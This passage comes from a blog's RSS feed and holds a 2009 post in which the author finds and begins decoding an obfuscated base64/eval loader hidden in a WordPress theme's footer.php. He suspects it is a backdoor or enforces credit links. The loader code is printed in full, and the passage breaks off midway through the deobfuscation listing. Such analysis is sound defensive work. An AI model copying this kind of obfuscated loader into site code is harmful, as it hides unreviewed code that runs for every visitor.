<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kalimat al-Mutafalsif &#187; Linux</title>
	<atom:link href="http://thesnarky.com/category/interests/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://thesnarky.com</link>
	<description>The Words of the One Who Calls Himself a Philosopher</description>
	<lastBuildDate>Mon, 24 May 2010 21:25:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Evil Eval()</title>
		<link>http://thesnarky.com/2009/06/04/evil-eval/</link>
		<comments>http://thesnarky.com/2009/06/04/evil-eval/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 22:14:12 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=301</guid>
		<description><![CDATA[I just threw the new theme on my website and was poking around making tweaks this afternoon. I wanted slightly different colors, wanted to make the picture look cooler, maybe edit the footer to change the whole "Made by" to me, and give credit for being based on the theme I based it on. However, [...]]]></description>
			<content:encoded><![CDATA[<p>I just threw the <a href="http://thesnarky.com/2009/05/27/new-theme/">new theme</a> on my website and was poking around making tweaks this afternoon. I wanted slightly different colors, wanted to make the picture look cooler, maybe edit the footer to change the whole "Made by" to me, and give credit for being based on the theme I based it on. However, upon opening the footer.php, I found a very weird comment:</p>
<pre class="php">&nbsp;
<span style="color: #808080; font-style: italic;">/* V8 - WARNING: This file is protected by copyright law.
To reverse engineer or decode this file is strictly prohibited. */</span>
&nbsp;</pre>
<p>Well that's weird, because in the style.css we read:</p>
<pre lang='php'>
/*The CSS, XHTML and design is released under GPL*/
</pre>
<p>(Side note, if you don't know what we mean by GPL, check out <a href="http://www.gnu.org/copyleft/gpl.html">their site</a>.)</p>
<p>No, they don't say PHP in there, however I read that (because 'design' is included) as "This theme is GPL'd". Poking around their <a href="http://www.themespack.com/">website</a>, I see no mention that you're required to keep any part of the theme the same.</p>
<p>If we read past the warning about reverse engineering, we see why they included it, a nasty big base64 encoded blob, then an eval command. Pastebin paste is <a href="http://pastebin.com/f77bda50">here</a>.</p>
<p>This piqued my interest, as I can think of very few legitimate reasons to do such obfuscation, or why there should be so much (footer.php is 47kb!). My initial thought was that I'd opened a backdoor into my site, with lesser thoughts to them being able to push random stuff into my footer (the last way I was infected), and finally just trying to control the links on the bottom of the page so that even if I were to edit their theme (as is my right under the GPL) I couldn't take credit for it myself, they'd always have credit for it. None of those sat right with me, so I hit up the local IRC channel, and we started puzzling.</p>
<p><span id="more-301"></span></p>
<p>First I base64_decode'd the garbage that was being run from the eval command (and yes, its gonna overflow the line by a LOT):</p>
<pre class="php">&nbsp;
<span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGw9J29yZCc7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGw9JGxsbGxsbGxsbGxsKCRvKTs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;<span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;for<span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;if<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;for<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;<span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;for<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllll</span>++;<span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>else<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;<span style="color: #0000ff;">$lllllllll</span>--;<span style="color: #66cc66;">&#125;</span><a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbD0nY2hyJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;for<span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;</pre>
<p>If you want to be able to READ that:</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGw9J29yZCc7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGw9JGxsbGxsbGxsbGxsKCRvKTs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbD0nY2hyJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span>
        <span style="color: #ff0000;">&quot;JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Wonderful, more base64 junk, and obfuscation. Yea, when was the last time you read a legitimate program that looked as the above (not in Perl). Been a while for me as well. So we went to work first by translating all the base_64 junk into english. Please note that the very first eval binds $lllllllllll to base64_decode so I've gone ahead and done that part already. I removed the eval() calls, and replaced them with the base64 translation on every line ending in //here.</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllllll</span>=<span style="color: #ff0000;">'base64_decode'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">'ord'</span>;  <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <span style="color: #0000ff;">$l</span>=<span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllllllll</span>=<span style="color: #ff0000;">'strlen'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
